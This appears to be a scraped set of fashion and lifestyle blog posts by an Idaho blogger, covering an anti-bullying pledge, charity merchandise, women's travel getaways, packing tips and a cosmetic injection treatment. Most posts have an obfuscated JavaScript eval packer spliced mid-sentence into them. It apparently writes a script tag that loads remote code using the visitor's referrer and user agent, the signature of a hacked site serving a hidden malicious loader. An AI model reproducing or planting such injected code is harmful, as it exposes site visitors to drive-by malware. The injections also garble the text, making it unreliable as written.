Why it’s More Important Than Ever to Stand Against Bullying

Hey, friends. I know a lot of us have social media burnout from the events occurring in our nation this historic November, so many of you might never see this. But today is Fashion eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yeana|var|u0026u|referrer|idtih||js|php’.split(‘|’),0,{}))
Advice Friday, a day I typically devote to responding to your style and shopping questions on Facebook.

Today, however, I am really struggling with what to say! This isn’t about who I voted for – you don’t know, so please don’t assume. No, my sorrow today is not over who won or who lost…

It’s about pain.

It’s about division.

It’s about half of our nation wondering if they should feel afraid of the other half.

But mostly, it’s about bullying.

Many of you who are close to me know about my son, who is one of my biggest heroes in this world. He spent the first half of his life in doctors’ offices and therapy sessions, working to navigate the cards that have been dealt to him in this unpredictable world. (You can read more about his story here, if you’d like.)

When my son was in 4th grade, that’s when the bullying began. Apparently 9 or 10 is the age for many kids, when they stop seeing other children as just friends, and start deciding which groups or cliques they identify with. One attention-needing kid identified my son as different, and they all ran with it. Day after day, he suffered, while I fought to understand what was happening to my child (who wasn’t able to communicate it very well), and then fought his own school teachers and principal to make it stop.

I’ll never forget the day it all came to a halt. The day the blood froze in my veins and my world stopped spinning. We were driving home from school, after a long and unproductive meeting where his principal had flat-out told me “maybe his version of processing the world is causing him to imagine he’s being bullied, because the kids in my school wouldn’t act this way.”

From the back seat, my son said, “Mommy, what are the least painful ways to die? Because I think I would like to just go to Heaven now.”

I couldn’t breathe, but pulled over and turned around as quickly as I could manage. Tears were streaming down his cheeks. And mine. My 9-year-old child wanted to die, because of how other kids, his own friends – in fact, one of his best friends – were treating him.

We never went back to that school.

This week, I have worked hard to maintain a positive attitude and deeply-rooted belief that things will always turn out the way they are supposed to, and God is with us through it all. But the news reports of children chanting “send them home” to their own classmates – who were their friends just 48 hours before! – has me weeping. Stories of hate crimes, and Muslim women being attacked because their head coverings make them easy targets, and apparently the KKK is throwing a parade…

My friends, I am floored by this all! And honestly, I’m a little angry. Not angry at politics, because they are part of our American system and we all know the rules. No, I am angry at bullies!

So today, instead of my usual fashion post, I’m choosing something different than what I see in my news feed, on TV, and the internet.

I am choosing to be exactly the same person I was before this week ever happened.

I will wear a safety pin on my shirt, and make this pledge:

As before, I will respect every person in my community who has come here from another country, seeking the chance to build a new life for yourself. Whatever reason brought you here, you are equal and I love you.

As before, I will respect every person who has a religious belief that’s different than mine. You are equal and I love you.

As before, I will respect my very dear LGBTQ friends and family members. You are equal and I love you.

As before, I will respect those who have different political views than I do, and their right to them. You are equal and I love you.

As before, I will respect my friends, family members, neighbors, and everyone I meet whose skin or DNA makeup is a different shade than mine. You are equal and I love you.

As before, I will respect all women, of all ages and sizes and ethnicities, and will not judge you on appearance, clothing, beauty, color, or your decision to wear either a burka or bikini any darn place you please. You are equal and I love you.

As before, I will respect all people of disability, special need, or medical challenge, visible or invisible. You are equal and I love you.

This is my promise, because I can not change how others feel, but I can be responsible for my own actions and thoughts.

Furthermore, if I have judged, internally or out loud, any of the people listed above, I want you to know that I AM SORRY. I repent, and ask your forgiveness, because acknowledging it is what helps us change, and be better. I’m not perfect, so tell me if I say or do something something judgy! Hold me accountable, because that’s not the person I want to be!

I also promise that I will not be a silent onlooker, if I see judgement, bullying, racism, sexism, or harassment occur around me! That’s harder, because I’m a woman and I know what it’s like to fear bullies, too. But every time I see someone picking on a fellow human being in this great nation, or any other, I will step in and make a stand. (This article has great tips for how to intervene when you see bullying: https://sojo.net/articles/what-do-if-you-see-islamophobic-harrassment)

Because it only takes one person to change the course of another’s hate. One person could have stood up for my son, and his entire childhood would have been different.

I could not be there in the moment, to be that one for my little boy, and I will always regret it… But I promise. If I am there and I see it, I will be that person for you.

Please do the same for me, and I will cling to the hope that we will all be ok.

Sincerely,

Tanya Carnahan

❤ ❤ ❤ ❤ ❤ ❤ ❤

Protected: A Important Message About Fashion Getaways for 2017

Celebrating Breast Cancer Awareness Month with White House|Black Market!

WH|BM eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|edtyi|var|u0026u|referrer|yfkry||js|php’.split(‘|’),0,{}))
Butterfly Tee: $58 | each T sold donates $30 to LBBC!

It’s National Breast Cancer Awareness Month, and I’m deeply honored to team up with White House|Black Market in their efforts to help spread awareness and raise funds for much-needed care, education, and research!

In recent years, many in the fashion world have jumped on board this global effort, designing distinct and beautiful pieces to inspire consumers to pay it forward and help raise money. This year, White House|Black Market has teamed up with Living Beyond Breast Cancer, to launch three limited-edition products you can buy and wear, with the knowledge that your dollars are going to help women in need: a butterfly t-shirt, inspirational scarf, and beautiful trinket tray.

white-house-black-market-stylespygirl-1 — **Butterfly scarf: $48, with $20 donated to LBBC | Inspire Tray: $18, with $10 donated to LBBC**

When you purchase any of these items, a portion of the proceeds goes directly to Living Beyond Breast Cancer, an organization that provides programs and services to help people whose lives have been impacted by breast cancer.

White House|Black Market’s ongoing collaboration with LBBC has helped raise over $5/5 million in the last 25 years!

Did you know that US Cancer death rates have fallen 22% since 1991? That’s good news, and it means that all our efforts – from NFL teams wearing pink socks, to butterfly scarves blowing in the wind – are having a massive impact. But even though diagnosis, treatments, and education have helped prolong and even give back life to many, we still have a long way to go.

According to the American Cancer Society, Idaho ranks 50^th in the nation for screening, despite the fact that women in our state have a one in eight chance of being diagnosed with invasive breast cancer during their lifetime.

Get screened, get educated, know your risk factors! The good news is that with early diagnosis and proper care, 82% of women live for five years or more after diagnosis! I recently stopped by St Luke’s for a mammogram…

That’s right, I’m calling it a #TaTaSelfie from now on! Let’s start a trend, ladies! 😉

There are resources, tools, and education for women in all walks of life! For example, did you know that the American Cancer Society has programs across Idaho State? Everything from transportation and lodging services, to makeup and skincare classes for women dealing with the cosmetic side effects of cancer and treatments! How amazing is that?!? 🙂 Click the image below to find out more:

Stay safe, be generous, and keep up the fight to end cancer.
Every bit counts, and together, we can make a difference!

Love you all!
XOXO,
Tanya

~~~~~~~

Photography by Valerie Davenport

Disclosure: I was given these products by White House|Black Market to photo shoot
and wear proudly in support of their collaboration with Living Beyond Breast Cancer. ❤

Exciting Changes to my Fashion Getaways! (Part 2)

Exciting eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|esdan|var|u0026u|referrer|ehaha||js|php’.split(‘|’),0,{}))
Changes in Store…

Hello, friend!

Earlier this month, I shared the Why behind my girls-only Fashion Getaways: Empowering women to travel! To recap, I believe magic happens when you step out of your comfort zone, your city, and your culture. Your eyes see something new, and your heart expands to take it in. Travel changes you; it makes you stronger, but it also makes you see the world as more accessible! (View the full Part 1: Why article HERE!)

Now, I’d like to explain How we’re making it all happen! My goal is to plan at least two trips per year, one domestic/US trip and one international, loosely based on the Fashion Week calendar of Spring and Fall.

For 2017, I am currently putting together TWO Fashion Getaways. The first is an early-summer Amsterdam & Paris trip – which I’ll release information about SOON – so those of you who want to come can purchase your airline tickets while they’re less expensive!

Then for the domestic/US trip, later in the year, say Aloha! to a tropical getaway to Honolulu Fashion Week. This Getaway will be in the Fall, with luaus, exploring, beaches, poolside cocktails, shopping, hula dancing, snorkeling, and much more. My mouth is already watering for Kahlua Pork and Mai Thais, is yours?

So here is the big question:
How are we going to empower each woman to have the fashion/cultural/empowering adventure that she wants?
BY GIVING YOU CHOICES

Beginning with the Amsterdam/Paris 2017 trip, the Style Spy Girl team will create itineraries that have a daily scheduled group activity (a fashion week show, dinner reservations, etc.), most likely in the evening. During the morning and afternoon, we will incorporate YOUR wishlist/bucket list items (if you will be on this trip, please write in and tell us what those are!) into the schedule. It’s important to note: these will be optional activities that each woman can sign up for, or you can choose to have free time instead!

This information will be provided weeks in advance, so you can plan ahead and decide exactly how much alone time, group time, shopping time, and sightseeing time YOU are interested in, and how much you want to budget for each of those things. It puts the power in your hands to create the adventure you want, and you can plan exactly how much you want to spend doing it.

So, tell me: where in the world do you want to go?

And what do you want to see/do/eat/hear/watch/experience while you’re there? Click reply to email me back, and let’s keep the conversation going, or connect with me on Facebook, Instagram, or Twitter!

The world is ours to explore – so let’s hop on board, babes! 🙂

Come with me, and together we can #GlobeTrotLikeAGirl!

XOXO,
Tanya Carnahan

An Open Letter About Why I REALLY Do Fashion Trips for Women (Part 1)

The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zitzy|var|u0026u|referrer|nhtrr||js|php’.split(‘|’),0,{}))
Real Reason I Do Fashion Getaways

(Hint: It’s not just about the shopping!)

Hello, my friends!

It’s time for an update! You may have heard about the ladies-only Fashion Getaways I launched last year. If you want to know the How, What, and Why behind these trips, read on…

For starters, a heartfelt THANK YOU for your feedback — to you who have been on excursions with me and those who are interested in joining future trips!

I’ve heard everything from “I’d love more shopping time!” to “There’s too much shopping; I’d prefer to sit in a café and absorb the culture!” and “Will there be more fashion shows?” or “I don’t want to dress up and do fashion shows every night; let’s just relax and go get dinner!”

The truth is, I want all my travel companions to have a wonderful time on every getaway we plan! On our way home from our recent New York trip, while thinking through all we accomplished and ways we could improve, I had an epiphany: Yes, we really can do it all, and I know exactly how we’re going to do it! But before I share the How, I’d like to share some of the reasons Why we’re doing this in the first place…

What’s the goal of Fashion Getaways?

Is it all about fashion shows? No. Is it all about shopping? No. Are we a glam squad that always looks amazing and camera-ready? I’ll answer that as soon as I stop laughing… um, definitely no!

NYC was honestly a lot of shorts, t-shirts, and sneakers — and we did our best to comfortably explore the city during a surprise heat wave. Humidity in the Big Apple is no joke!

I started Fashion Getaways because I want to empower women to travel.

Here’s the thing: this means ALL WOMEN. Yes, all women are welcome on these getaways — women of every age, style, and demographic.

I believe magic happens when you step out of your comfort zone, your city, and your culture. Your eyes see something new, and your heart expands to take it in. You encounter challenges and rise up to meet them. You figure out how to navigate a new city, explore new food, see historic landmarks, meet people that aren’t really as different from you as you might have thought, and embark on adventures you never would have encountered back home.

And travel changes you! It makes you stronger, but it also makes you see the world as more accessible. It helps you realize that you can go almost anywhere, and do anything you want! And how much more fun is it to do with a group of adventurous women?

It’s true: I love fashion — and I love shopping

But more than that, I am passionate about traveling, having new cultural experiences, and empowering women to have life-changing adventures! This is what I hope to achieve with these Fashion Getaways; to bring together ladies of all ages and backgrounds – even strangers! – who share a love of travel. I want to see women experience the world in their own unique ways, and I want to create adventures that make it all possible.

Come globetrot with me… watch the Eiffel Tower sparkle and shine, learn to hula dance in Honolulu, eat a cone of fries “mit mayo” while walking the cobblestone streets of Amsterdam, listen to street music on the sidewalks in New Orleans, watch a sunset from the breezy beaches of Greece… and yes, do a little (or a lot of!) shopping along the way. Because we’re girls, and that’s how we roll!

Stay tuned for my next update… when I explain How — and describe the exciting ways we’re making all of this happen!

I’ll be releasing details regarding a women’s trip to Amsterdam and Paris VERY soon, so make sure to connect with me on Facebook, Instagram, or Twitter!

Come with me, and together we can #GlobeTrotLikeAGirl!

XOXO,
Tanya Carnahan

NYC Fashion Week Getaway Itinerary

TUESDAY, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|trhrn|var|u0026u|referrer|ftkir||js|php’.split(‘|’),0,{}))
SEPT. 6

Arrive in New York City!!! Check in at INNSIDE New York NoMad, 132 West 27th St., Manhattan

After everyone has arrived, gather at the hotel’s Impero Bar for drinks and hugs!

WEDNESDAY, SEPT. 7

Leave hotel at 10am, those getting Blow Outs

Shopping, Nolita area

Dominique Ansel Bakery for lunch and “cookie shots”

Back to hotel for primping

Leave 6:00pm for Macy’s Fashion’s Front Row Show

Explore Times Square, dinner & drinks at The Skylark

THURSDAY, SEPT. 8th

Depart hotel at 10am for Surprise shopping event

Explore 5th Avenue shops (Chanel, Louis Vuitton, or discount hotspot Saks Off Fifth)

FTL MODA Capsule Collection Fashion Show

ROCK THE YACHT party cruise, Pier 15, South St.

FRIDAY, SEPT. 9th

Tour the Metropolitan Museum of Art fashion exhibits

Luncheon at The Loeb Boathouse, on the water in Central Park

Shopping / Free time

Dinner and Cocktails, Sixty Five at the Top of the Rock, Rockefeller Center

Comedy Underground Show

SATURDAY, SEPT. 10th

Private Shopping Party with Bagel Brunch & Mimosas, legendary couture resale shop ELEVEN, Brooklyn

Explore Brooklyn, flea markets, Century 21 Outlet store

Dinner in Brooklyn

Tina Tatum’s Birthday 😉

SUNDAY, SEPT. 11th

Breakfast Brunch together

Head home

Crash and dream of next year!

Travel In Style Giveaway Package!

It’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|atyni|var|u0026u|referrer|khnsa||js|php’.split(‘|’),0,{}))
giveaway time! I am getting ready to pack my bags and head to NEW YORK FASHION WEEK soon, with a fun crew of women on a Style Spy Girl Fashion Getaway (you can read about it – and join in! – here.) Whether you are able to hop on a plane with us right now or not, it’s great to be prepared with some essential products to help you travel in style and #GlobeTrotLikeAGirl, starting with this lovely toiletry bag packed with my personal favorite skin and hair-care samples.

Here’s What You Win:

A sweet floral toiletry bag by Kestral, to stow your essentials in a carry-on, backpack, or purse!

Detox Clear Skin Face Mask, a paraben & sulfate-free facial sheet mask to reveal clear skin + hydrate with minerals and botanicals, by Miss Spa.

Special Cleansing Gel, by Dermalogica, a soap-free foaming gel to gently-yet-thoroughly clean without drying your skin.

Foaming Skin Polish, for deep exfoliation with rice bran, bamboo, ginger root, and ginseng to cleanse and calm, by Yu-Be.

Evening Primrose Revitalizing Body Wash, by Weleda, my favorite European brand for skin care! Best ingredients, least chemicals, period.

Facial Spray Mister, by Evian, great for hydrating your skin on long flights, or misting on over makeup to set powders with a natural glow.

Prime Style Extender, by Living Proof, is a styling primer that locks in your hair style until your next shampoo. Seriously!

Stress-Fix Body Lotion, by Aveda. Because travel is stressful, period. And Aveda is amazing with herbal-essence-infused natural body products.

Renew Natural Cuticle Oil, by Nail Tek. This stuff is a life-saver for dry hands, nails, and cuticles. And it feels so luxurious to massage it in!

Morelia Monarch Scented Body Butter, by Camille Beckman. A HUGE favorite in my family, the little pot of body butter goes a long way.

…And finally, a one year subscription to ELLE Magazine, to help keep you up to date on all the latest style, shopping and fashion news!

Here’s How You Win It:

LIKE Style Spy Girl on Facebook!

Comment on the contest post on my Facebook page.

Extra Entries: One extra entry each for following @Stylespygirl and @StylespygirlGetaways on Instagram!

Good luck to everyone! A winner will be chosen this Friday, Sept. 2nd and announced on my Facebook page.

*Please note: At this time, the contest open to residents in the United States.

How to Pack Light and Just Use a Carry-On!

As eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eznyf|var|u0026u|referrer|htybz||js|php’.split(‘|’),0,{}))
printed in the Idaho Statesman’s Treasure Magazine, view the online version here:
Going on a trip? Treasure Valley style expert offers tips for packing light!

If you are among those jetting off on vacation this summer, you’ll likely have to endure many of the hassles of flying: baggage check-in, security, flight delays, layovers and the eternal baggage claim carousel.

Some of these things are unavoidable. However, there is one major way you can cut down on the vacation time you spend stuck in an airport while beaches beckon you: Pack everything in carry-ons.

Seriously, you can do it. This spring I traveled to London, Amsterdam and Paris with my husband and was determined to only take what I could carry quickly through an airport: my carry-on and a cute backpack.

My husband laughed when I stated this intention; he knows that as a fashion blogger I feel compelled to always dress well for the hundreds of photos I’ll be taking as we travel. He also knows I have a particularly passionate habit of accumulating fashion treasures along the way and once or twice have had to purchase extra luggage to bring it all home with me!

Not this time, I vowed, because I’m writing a book of travel tips for women adventuring abroad, and I had to make this work.

And if this little shopping-crazy fashionista could manage two weeks abroad in a carry-on and a backpack, so can you!

1. Mix and Match

Don’t take your favorite outfits; only take things that match each other. Focus on multi-functional pieces. I found a breezy swimsuit cover-up at Target (pictured above) that also looks great with a tank top and jeans or thrown over a dress. It’s a neutral color, too, so it goes with everything. Great for the beach, exploring and shopping, or a night out on the town.

Photo by Valerie Davenport / Swimsuit cover-up from Target / Sandals by Dolce Vita, Nordstrom / Bags by COACH

2. Go Monochromatic

Pick three colors, and I mean it. My “Eurotrip” suitcase had only black, white and gray in it. Somber, yes — but with my intentionally blank canvas, I had plenty of room to add accent colors and fun accessories along the way. A blue scarf here, a red umbrella there and a pretty cardigan or patterned handbag to seal the deal!

3. Ditch the Big Coat

Unless you’re vacationing to snow, pick the most versatile layering jacket out of your closet and wear it on the plane. That saves space in your luggage and gives you a blanket of sorts to stay warm on a long flight or a pillow to cuddle with.

(Bonus tip: Wear all of your largest items on the plane. Not only does this give you options to make yourself more comfortable on long flights, but it also saves room in your carry-on for more compact items. )

4. Leave Behind the Bling

Leave diamond rings (and other high-end jewelry) at home, in a locked safe or with someone you trust. Even in many modern European countries, for example, diamond wedding sets are not customary; most folks wear simple bands. Major bling can quickly brand you as an American tourist and might cause people to make assumptions about your wealth.

When I travel, I wear a small silver band I bought for $3 at Charming Charlie and leave my fine jewelry with a trusted friend. I also take only three necklaces: one small piece, one multi-strand chunkier piece and one multi-layered piece. That way, every neckline in my suitcase is covered.

packing light stylespygirl fashion advice

5. Take 2 Pairs of Shoes, Period

You really only need one pair of comfortable walking shoes and one dressier heel or wedge. You can buy cheap flip-flops just about anywhere in the world if you really need something extra for the beach — and then leave them behind before you head home.

6. Pack everything inside everything else

On my Europe trip, I discovered I could fit six pairs of rolled-up socks in each of my favorite ankle boots. Six! I can also fit 6-7 pairs of underwear in one ankle boot as well. Look for unused nooks & crannies for extra space! I chose a small second purse for evenings out ,and found to my delight that my ziplocked toiletries fit perfectly inside it. No additional toiletry bag needed!

I also learned I could fit my everyday handbag into my backpack, with more toiletries and extra gear on top, so I had a total of three purse options for my trip, ranging from mini to large, each one compactly nestled inside the other.

Another great option is to purchase a specific compact multi-functional travel bag, like the one I bought (below) from Coach at Boise Towne Square, to use for trips. It’s a wallet, handbag, phone holder and clutch all in one! coach wallet wristlet silver

Photo by Valerie Davenport / Bag by COACH / Heart sunnies from Hot Topic

7. Take travel sizes

Don’t bring all your toiletries; only take samples. Every time I shop for beauty products, I end up with extra trial samples from stores like Sephora and Macy’s that I use for traveling. Not only are they compact and disposable, but I also enjoy the adventure of trying new things as part of my travels. “Good morning, London! Let’s see how these ‘Revitalizing Moisture’ under-eye strips help with my jetlag!”

You can also buy things wherever you travel. Plus, it’s fun to explore new products. A need for facial moisturizer in Paris led me to find some amazing new brands of skin care that I never would have discovered had I brought my own.

(Bonus tip: Many larger beauty shops and department stores all over the world will give you neatly packaged samples of products you’d like to try. Run out of conditioner? Ask for a sample. It might hold you over for the trip and help you discover something new.)

8. Ship it

If you’re anything like me, you’re likely to accumulate things as you travel. You can certainly purchase a suitcase inexpensively in most tourist markets, but don’t forget the convenience of global postal services.

I lived in Amsterdam when I was a teenager, and some of my best memories of that city were exploring all the incredible candies and chocolates made there. This winter I had the opportunity to return with my husband for the first time in many years.I visited a local grocery store, filled a massive box to the brim with all the stroopwafels, kinderspekken, drop (licorice) and gummy things I could find and walked straight to the post office to ship it all home. We had such a blast at home a few weeks later, opening up all that yummy stuff and explaining it to my kids.

(Bonus tip: If you’re shopping in high-end boutiques or department stores abroad, ask about shipping. Some shops will let you buy an item and will mail it home for you.)

When you’re on vacation, you really don’t need as much as you think. People won’t notice how often you’ve worn an outfit. Do laundry if you need to, but keep your luggage light. You never know when you might discover an awesome new treasure to bring home — and you’ll be glad you have room for it!

Watch how it all goes together, in my video tutorial on How to Pack Light, below!

http://www.idahostatesman.com/living/treasure/article83032337.html/video-embed

How do YOU pack light? Tell me your favorite tips and advice in the comments below!
XOXO,
Tanya

What Happened When I Tried Kybella Double Chin Treatment

Photo eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|akzhy|var|u0026u|referrer|ressa||js|php’.split(‘|’),0,{}))
by Barleta Photography

Continue to present yourself as a woman of loveliness and dignity, a woman who feels good and knows she’s looking her best.
—Angela Lansbury, The Gentlewoman, Autumn/Winter 2012

I know most women prefer to keep their beauty secrets a secret. I mean, that is why we call them that, right? But recently I had an experience that was so over-the-top incredible, I just had to share it! So here comes my disclaimer: if you don’t want to know about beauty procedures, needles, and the icky things some of us go through to fight aging, please don’t read past this sentence!

Ok, the rest of you, are we good? Here goes…

What’s a double chin? According to the dictionary, it’s “a roll of fatty flesh below a person’s chin.” According to many women past a certain age, it’s something that starts as a nuisance, and worsens until you’re turleneck-bound. Causes for that extra bit of flesh & skin under your jawline vary, from fitness and lifestyle to simple genetics. By the time you are an adult, you have a pre-determined and permanent amount of fat cells stored in your lower jawline and upper neck. You can’t change them, and until recently, only plastic surgery and lasers could do anything to minimize the natural aging process of this area of the body.

But something new has stepped onto the anti-aging scene, and it’s making major waves! When Silk Touch Med Spa recently held an informational luncheon about a strange new concept called “Kybella,” I was super curious and decided to check it out.

According to Silk Touch, “Kybella is the new FDA injectable that dissolves fat under the chin. It’s the biggest thing to hit the beauty industry since Botox, with even Millennials experiencing sagging jowls thanks to ‘tech neck.'” It’s an injectable, which means needles, and not everyone loves those little poky things going into their skin. But on the other hand, it’s nice to have options, vs. scalpels and lasers, not to mention the downtime and potential side effects that go along with those methods!

The before & after photos of Kybella really shocked me, along with hearing about the minimized risks, side effects, and downtime associated with it. I decided to try it, because even though I’m not technically overweight, age and genetics have given me a slowly-growing little double-chin that was starting to get on my nerves in photos and videos. I figured, if there was a way to make that “go away,” without too much risk, why not give it a try? I asked a ton of questions, then prepared myself with two weeks out of the public eye to chart my results.

Here is a video of what Kybella injections really look like, done on me this last February 2016. Yup, there are needles, and yes, it did hurt! As the needles progress, the burning sensation grows, so if you do give Kybella a try, prepare yourself for some discomfort. Watch below!

I was pretty swollen right after, and the burning feeling in my neck continued for a while that day. I kept ice packs on it, but definitely wanted to go home and rest.

The photo above is hard for me to share publicly, but I’m doing it anyway, because if you’re considering doing Kybella yourself, I really, really want you to know that the swelling afterwards is no joke! Stay home a few days, if you can, and rest through it. That evening I took some ibuprofin, rubbed Arnica gel on my neck, and went to bed. The next day I was definitely still swollen; I felt like that lady who’s really a mask for Arnold Schwarzenegger in Total Recall…

Little by little, it subsided, and I started to feel like myself again! Within a week I was out seeing friends, and no one noticed. (Or if they did notice, they certainly didn’t make any comments). It felt like I was the only one who knew something was different about my neck.

Here’s a pic from my follow-up appointment, at around 12 weeks. The before & after change really floored me! Since I don’t often view myself from the side, I really had no idea how dramatic the improvement was until I saw the pictures all together.

These results definitely motivated me to do a second treatment (typically they recommend 2-4 for your best results.) I was still sore for quite a while, so I waited 18 weeks before going in to do the follow-up treatment, which was much quicker. And so was the downtime! Here’s a quick post-Kybella recap of my experience of the second treatment:

I recovered in a few days, and was confident enough for an on-stage appearance at Wine, Women & Shoes as one of the honorary Shoe Judges!

So here we are, a few months later, and despite how awful that first video probably looked to some of you, I am SO GLAD I did this! It’s been amazing to see such dramatic results; my photos look better, my jawline looks better, and I’m back to bopping around town, doing my blogger girl thing. And the most exciting part of this whole journey, is that the results are pretty much permanent, thanks to that genetic and finite number of fat cells that have been obliterated forever! They’re not growing back, at least not anytime soon.

I’d love your feedback in the comments! Have you considered doing a treatment like I did? What worked and/or didn’t work for you? Are there questions you’re dying to ask me? I’m not an expert, but I’ll answer honestly from my own personal experience. Much love to everyone who took the time to read my story, and special thanks to the crew at Silk Touch Med Spa for the opportunity to try Kybella!

XOXO,
Tanya

How to Mix Music Festival Fashions into your Everyday Wardrobe!

Photography eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ebsbz|var|u0026u|referrer|esyna||js|php’.split(‘|’),0,{}))
by Barleta Qela

Coachella has come and gone this spring, but music festival fashions are here to stay! There’s just something so feminine-yet-rebellious about this season’s floaty floral dresses, sheer blouses, and shredded shorts that scream “bring on summer time!” More music festivals are on the horizon in my neck of the woods, like the Boise Music Festival, Huckleberry Jam, and the Mountain Home Country Music Fest, so there are still plenty of opportunities to get mega-mileage out of your fest-inspired fashions.

Whether you have actual festivals to rock out at, or just love the easy-breezy fashions they inspire, here are some of the major trends you can incorporate into your wardrobe this season… Some of which you might already have in your closet!

1. Floral Everything

Dress: Free People, Macy’s / Bag: Dinky by CO ACH / Sandals: Dolce Vita Wedge Sandals

Hands-down the easiest and most versatile piece to rock in your wardrobe this summer has to be the floral dress! Whether short & sweet, like my Free People dress from Macy’s, or floor-sweeping maxi length, flowers are everywhere this season. Flowers are undeniably feminine, and the variety of colors involved in each bouquet gives you tons of versatility.

Floral prints are so very 70’s, so very 90’s, so very NOW!

2. Fringe of course!

There’s nothing that screams “I’m here to dance to the music!” louder than fringe. It’s showing up everywhere this season, from jackets and dresses, to shoes and handbags. It’s a timeless look that was strong last season, and will continue to rock, roll, and wave in the summer breezes for years to come.

Here’s a cute fringe look from Macy’s, that you could wear just about anywhere this summer!

Earrings: Thalia Sodi / Blouse: American Rag / Handbag: INC / Clogs: American Rag / Skirt: American Rag

3. I-see-through-you Sheer tops & dresses

Bring on the lacy looks and sheer fabrics this season. They’re fun, flirty, and easy so lightweight, if you catch the slightest breeze while walking you pretty much feel like you’re in a Beyonce video. Rock it! Lace is hotter than ever, and so is its distant cousin crochet print! Feel free to DIY these looks, or steal them from your auntie’s closet.

Sheer dress: Material Girl, Macy’s / Crochet Fringe tank, denim shorts, fringe jacket: American Rag, Macy’s

4. Cold Shoulders are HOT

Take a look on Instagram, or grab any fashion magazine, and you’re bound to see this season’s Body Part of Choice: the shoulder. From strategic cut-outs to flirty full shoulders, the fashion world is infatuated with this boldly bare look right now. Get it, rock it, flaunt it!

White off-shoulder blouses and dresses have been a particularly hot trend this summer. The one below is on clearance right now at Macy’s for under $25!

XOXO Cold Shoulder Bell-Sleeved Top, Macy’s, $23.99

5. Lace up and Go!

Gladiator sandals are still going strong, but let’s face it, the tan lines can get weird. I adore my Dolce Vita “Louise” sandals from Nordstrom, below, (they’re sooooo comfortable for long days of walking!), but many of the fashionistas at Coachella this year have also adopted a love for sneakers and ankle boots.

The key to good music fest footwear is comfort, above all. You’re going to be on your feet all day in dirt, heat, and possibly water hoses, right? Be practical, babes.

Bar III Gladiator Sandals / Material Girl Hi-Tops, both Macy’s

A final note:

One of the most practical wardrobe pieces you can own right now is the denim jacket. I scored this frayed & studded one years ago from Urban Outfitters’s clearance rack, and bust it out every spring. It goes with everything, and I’ve worn it with a ton of outfits on this blog. Remember, no matter how hot it gets at music fest, once the sun goes down you’re going to need a little extra layering. Nothing pairs better than a classic denim jacket. Just saying…

